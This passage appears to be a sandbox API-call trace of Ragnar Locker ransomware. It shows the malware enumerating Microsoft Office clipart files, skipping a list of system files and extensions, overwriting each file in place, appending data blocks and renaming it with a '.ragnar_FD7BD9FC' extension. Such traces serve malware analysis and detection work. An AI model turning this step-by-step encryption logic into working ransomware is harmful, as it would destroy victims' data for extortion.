lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" [0084.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.ragnar_FD7BD9FC" [0084.775] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.776] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0084.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.776] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152600.WMF" | out: lpString1="J0152600.WMF") returned="J0152600.WMF" [0084.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned=".WMF" [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="autorun.inf") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="boot.ini") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="bootfont.bin") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="bootsect.bak") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="bootmgr") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="bootmgr.efi") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="bootmgfw.efi") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="desktop.ini") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="iconcache.db") returned 1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="ntldr") returned -1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="ntuser.dat") returned -1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="ntuser.dat.log") returned -1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="ntuser.ini") returned -1 [0084.776] lstrcmpiW (lpString1="J0152600.WMF", lpString2="thumbs.db") returned -1 [0084.776] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.777] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.777] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.777] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.777] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.777] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.777] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 0x20 [0084.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.777] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9768) returned 1 [0084.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x261f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.777] GetProcessHeap () returned 0x580000 [0084.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.777] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2628, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.779] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2628, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2628, lpOverlapped=0x0) returned 1 [0084.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.780] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2628, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.780] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2628, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2628, lpOverlapped=0x0) returned 1 [0084.780] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2628, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.780] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.781] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2628, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.781] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.781] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.781] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.781] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.781] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.781] GetProcessHeap () returned 0x580000 [0084.781] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.781] CloseHandle (hObject=0xf4) returned 1 [0084.781] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" [0084.781] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.ragnar_FD7BD9FC" [0084.781] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0084.782] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.782] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152602.WMF" | out: lpString1="J0152602.WMF") returned="J0152602.WMF" [0084.782] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned=".WMF" [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="autorun.inf") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="boot.ini") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="bootfont.bin") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="bootsect.bak") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="bootmgr") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="bootmgr.efi") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="bootmgfw.efi") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="desktop.ini") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="iconcache.db") returned 1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="ntldr") returned -1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="ntuser.dat") returned -1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="ntuser.dat.log") returned -1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="ntuser.ini") returned -1 [0084.782] lstrcmpiW (lpString1="J0152602.WMF", lpString2="thumbs.db") returned -1 [0084.782] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.782] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.782] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.782] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.782] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.782] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.782] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 0x20 [0084.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.783] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6276) returned 1 [0084.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x187b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.783] GetProcessHeap () returned 0x580000 [0084.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.783] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.784] VirtualAlloc (lpAddress=0x0, dwSize=0x1884, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.785] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1884, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1884, lpOverlapped=0x0) returned 1 [0084.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.785] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1884, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.786] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1884, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1884, lpOverlapped=0x0) returned 1 [0084.786] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1884, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.786] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.786] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.786] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.786] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.786] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.786] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.786] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.786] GetProcessHeap () returned 0x580000 [0084.786] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.786] CloseHandle (hObject=0xf4) returned 1 [0084.786] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" [0084.786] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.ragnar_FD7BD9FC" [0084.786] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.787] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0084.787] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.787] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152606.WMF" | out: lpString1="J0152606.WMF") returned="J0152606.WMF" [0084.787] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned=".WMF" [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="autorun.inf") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="boot.ini") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="bootfont.bin") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="bootsect.bak") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="bootmgr") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="bootmgr.efi") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="bootmgfw.efi") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="desktop.ini") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="iconcache.db") returned 1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="ntldr") returned -1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="ntuser.dat") returned -1 [0084.787] lstrcmpiW (lpString1="J0152606.WMF", lpString2="ntuser.dat.log") returned -1 [0084.788] lstrcmpiW (lpString1="J0152606.WMF", lpString2="ntuser.ini") returned -1 [0084.788] lstrcmpiW (lpString1="J0152606.WMF", lpString2="thumbs.db") returned -1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 0x20 [0084.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.789] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16632) returned 1 [0084.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.789] GetProcessHeap () returned 0x580000 [0084.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.789] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.790] VirtualAlloc (lpAddress=0x0, dwSize=0x40f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.791] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x40f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x40f8, lpOverlapped=0x0) returned 1 [0084.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.797] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.797] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x40f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x40f8, lpOverlapped=0x0) returned 1 [0084.797] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.797] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.797] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.797] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.797] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.797] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.797] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.798] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.798] GetProcessHeap () returned 0x580000 [0084.798] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.798] CloseHandle (hObject=0xf4) returned 1 [0084.798] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" [0084.798] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.ragnar_FD7BD9FC" [0084.798] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft 